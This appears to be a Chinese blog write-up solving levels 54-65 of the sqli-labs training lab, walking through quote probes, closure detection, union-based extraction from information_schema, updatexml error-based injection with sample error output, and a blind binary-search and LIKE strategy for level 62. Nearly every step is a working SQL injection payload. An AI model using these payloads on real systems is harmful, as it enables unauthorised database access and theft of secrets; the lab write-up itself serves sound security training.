【Web安全靶场】sqli-labs-master 54-65 Challenges 与62关二分法和like模糊搜索

sqli-labs-master 54-65 Challenges

其他关卡和靶场见专栏...

文章目录

第五十四关-联合注入

页面有一串英文,翻译之后为:这个挑战的目的是在不到10个语句或有趣的时间内从数据库(CHALLENGES')中的随机表中转储(密钥),每次重置,挑战都会产生随机表名、列名和表数据。始终保持新鲜。 这道题只要请求超过10次就失败了,失败的话就重置数据库,下面就给出答案(可能超过10步了,不管了):

  1. 进入界面

    ?id=1

  2. 引号探针,没有报错信息,判断为报错函数被注释,所以不考虑报错注入

    ?id=1'

  3. 判断是否为数字型注入,回显的不是1的信息,所以不是数字型注入

    ?id=2-1

  4. 确定闭合方式为单引号闭合

    ?id=1' and '1'='1

  5. 确定字段数

    ?id=1' order by 3 -- #
    ?id=1' order by 4 -- #

  6. 判断回显位

    ?id=-1' union select 1,2,3 -- #

  7. 获取数据(每个人的数据都是不一样的)

    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='6rkzuquxqg' and table_schema=database() -- #

    ?id=-1' union select 1,group_concat(secret_T9CV),3 from 6rkzuquxqg -- #

第五十五关-联合注入

不翻译了...

  1. 使用引号探针,发现没有报错信息,所以报错注入用不了

    ?id=1'

  2. 使用2-1,回显的是1的信息,所以判断这是数字型注入

    ?id=2-1

  3. 使用order by发现没有任何作用,所以尝试了一下括号,发现这是带有括号的数字型

    ?id=1) order by 3 -- #

  4. 获取数据(每个人数据都不一样)

    ?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

    ?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='k8duqrwfn9' and table_schema=database() -- #

    ?id=-1) union select 1,group_concat(secret_A286),3 from k8duqrwfn9 -- #

第五十六关-联合注入

不翻译了...

  1. 利用2-1判断数字型,结果不是数字型

  2. 使用引号探针判断闭合,发现没有任何报错信息,所以不能用报错注入了111

  3. 判断闭合方式,发现界面正常回显

    ?id=1' and '1'='1

  4. 判断是否有括号,回显的是1的信息,所以闭合方式为引号加上括号闭合

    ?id=2' and '1'='1

  5. 判断字段数、回显位,并且获取数据

    ?id=1') order by 3 -- #
    ?id=1') order by 4 -- #
    ?id=-1') union select 1,2,3 -- #

    ?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

    ?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dl4f4k42zy' and table_schema=database() -- #

    ?id=-1') union select 1,group_concat(secret_DCQ2),3 from dl4f4k42zy -- #

第五十七关-联合注入

不翻译了...

  1. 使用引号探针发现正常显示(单引号),这九成是双引号有关的了。

  2. 使用双引号探针发现没法显示并且没有报错(不能使用报错注入了),接着后面添加注释符号界面正常显示。

  3. 判断有没有括号,使用1") -- #发现没有办法正常显示,所以得出这是双引号加上括号闭合。

  4. 获取字段数、回显位,数据。

    ?id=1" order by 3 -- #
    ?id=1" order by 4 -- #
    ?id=-1" union select 1,2,3 -- #

    ?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

    ?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='oa1zfdkjwo' and table_schema=database() -- #

    ?id=-1" union select 1,group_concat(secret_ZVSW),3 from oa1zfdkjwo -- #

第五十八关-报错注入

限制在5个语句???!!!不想翻译了...

  1. 使用引号探针,发现回显出报错信息,这是单引号闭合,所以报错注入有望!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

  1. 获取数据!

    ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: '~q6mi5yatt1'

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='q6mi5yatt1' and table_schema=database())),3) -- #

XPATH syntax error: '~id,sessid,secret_64YV,tryy'

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_64YV) from q6mi5yatt1)),3) -- #

第五十九关-报错注入

  1. 使用引号探针,回显出报错信息,判断是数字型注入,报错注入有望。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

  1. 获取数据。

    ?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

XPATH syntax error: '~djwt50t0s9'

复制代码
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='djwt50t0s9' and table_schema=database())),3)

XPATH syntax error: '~id,sessid,secret_0MEE,tryy'

复制代码
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_0MEE) from djwt50t0s9)),3)

第六十关-报错注入

不想翻译...

  1. 使用引号探针(单引号),回显正常,九成是双引号有关的。
  2. 使用双引号探针,回显出报错信息,判断是双引号加上括号闭合,使用报错注入试一下。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

  1. 获取数据。

    ?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: '~ti6jxukf2b'

复制代码
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ti6jxukf2b' and table_schema=database())),3) -- #

XPATH syntax error: '~id,sessid,secret_U00Y,tryy'

复制代码
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_U00Y) from ti6jxukf2b)),3) -- #

第六十一关-报错注入

不想翻译...

  1. 使用引号探针,根据报错信息判断这是单引号加上两个括号闭合,使用报错注入。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'')) LIMIT 0,1' at line 1

  1. 构造闭合,获取数据。

    ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: '~6ze6q3awxl'

复制代码
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='6ze6q3awxl' and table_schema=database())),3) -- #

XPATH syntax error: '~id,sessid,secret_R72X,tryy'

复制代码
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_R72X) from 6ze6q3awxl)),3) -- #

第六十二关-二分法与like模糊选择

这一道题限制在130条语句中,所以猜测这是盲注

  1. 使用引号探针发现页面无法正常显示,并且没有报错信息,所以报错注入无效。

  2. 使用2-1,回显的是2的信息所以这不是数字型注入。

  3. 由于使用单引号探针页面无法正常显示则基本可以判断这不是双引号,所以有可能是单引号加上括号,使用注释符页面正常显示:

    ?id=1') -- #

  4. 使用Union注入结果没有任何回显位,所以考虑盲注。

  5. 获取数据的思路。

    ?id=1') and if(substr(database(),1,1)='c',1,0) -- #

首先我们知道了数据库名可以直接使用database()。由于密钥是在A-Z和a-z和0-9中选取的,所以直接暴力破解是不可取的,对此有两种应对方法:

  • 使用模糊搜索LIKE!
  • 使用二分法提高搜索效率!
  1. 获取部分表名,0-9的值为48-57,A-Z的值为65-90,a-z的值为97-122,开始爆破第一个值!

    ?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<58,1,0) -- #

通过上述语句可知第一个字符是数字:

复制代码
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<53,1,0) -- #

通过上述语句可以知道它是5-9之间的:

...省略

可以得到第一个数字是5,总共使用了6个请求。

  1. 获取字段名security_xxxx:获取表名之后可以根据table_name like '5%',进行模糊搜索。

总共要爆破1+4+24=28,大约要使用170个请求,剩下看天意吧。

还有一种方法直接爆破24个密钥,就是再加2个select语句就行了,没实践成功纯思路,做出来给我评论。

还有一些奇奇怪怪的优化方法,不想折腾了,因为0-9还有大小写字母的ascii码分三段,所以如果一次请求中使用if嵌套语句,假设不是数字那就让它自动查询字母。

第63关-第65关-思路都是像62关一样,只是闭合不同而已

相关推荐
辛一一2 小时前
neo4j图数据库基本概念和向量使用
数据库·neo4j
LJianK13 小时前
关系型数据库和非关系型数据库
sql
巨龙之路3 小时前
什么是时序数据库?
数据库·时序数据库
蔡蓝3 小时前
binlog日志以及MySQL的数据同步
数据库·mysql
FreeBuf_4 小时前
GNU Screen 曝多漏洞:本地提权与终端劫持风险浮现
安全·web安全·gnu
是店小二呀4 小时前
【金仓数据库征文】金融行业中的国产化数据库替代应用实践
数据库·金融·数据库平替用金仓·金仓数据库2025征文
炒空心菜菜4 小时前
SparkSQL 连接 MySQL 并添加新数据:实战指南
大数据·开发语言·数据库·后端·mysql·spark
多多*4 小时前
算法竞赛相关 Java 二分模版
java·开发语言·数据结构·数据库·sql·算法·oracle
爱喝酸奶的桃酥5 小时前
MYSQL数据库集群高可用和数据监控平台
java·数据库·mysql
数据库幼崽5 小时前
MySQL 8.0 OCP 1Z0-908 61-70题
数据库·mysql·ocp